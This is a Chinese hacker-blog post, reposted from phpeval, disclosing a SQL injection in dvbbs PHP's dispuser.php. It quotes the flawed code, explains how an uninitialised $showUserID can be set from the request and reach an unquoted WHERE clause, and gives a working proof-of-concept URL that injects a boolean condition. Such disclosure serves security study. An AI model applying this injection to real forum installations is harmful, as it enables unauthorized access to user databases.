导航

心动吧黑客BLOG

自发研究:须要多维思想而且要想不可能为可能的人才能做到

« PHPCMS2007 SP6 的一个注入PHP的一个EVAL »

dvbbs php 的一个小注入

摘自:phpeval

dispuser.php文件

 

$UserName = trim($name);                    //这句开始出问题
if( is_numeric($id) ){
  $showUserID = intval($id);
} else{                                     //一个逻辑问题
  if( $UserName == '' ){
    $ErrCodes = $lang['UrlArgError'];        //by: phpeval
  }
}

 

没有考虑到,如果id变量不存在且UserName存在的情况,$showUserID就不会被初始化,这样就给直接get或post提交我们自己构造的$showUserID


下面


  if( empty($showUserID) ){
    $updStmt .= " WHERE UserName='{$UserName}' ";
    $stmt .= " WHERE UserName='{$UserName}' ";
    $onstat = " WHERE UserName='{$UserName}' ";
  } else{
    $updStmt .= " WHERE UserID={$showUserID} ";
    $stmt .= " WHERE UserID={$showUserID} ";
    $onstat = " WHERE UserID={$showUserID} ";
  }
  if( $query = $db->query($stmt) ){      //注入了,by: http://www.phpeval.cn

 

直接

http://www.phpeval.cn/dispuser.php?name=phpeval&showUserID=1%20and%201=2

dv php的安全性和dv asp 的安全性不在一个档次。
 

原创文章如转载,请注明:转载自心动吧黑客BLOG [ http://www.abcxd.com/abcxd/ ]

本文链接地址:http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/dvbbs-php-deyigexiaozhuru.html

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

黑客榜之热文排行

黑客榜之本年排行

黑客榜之本月排行

黑客榜之随机文章

网站分类

搜索内容

最新评论及回复

最近发表

所属分类下的文章

日历

Copyright ⊙ 2004-2009 心动吧 UrL:ABCXD.CoM All RiGhts Reserved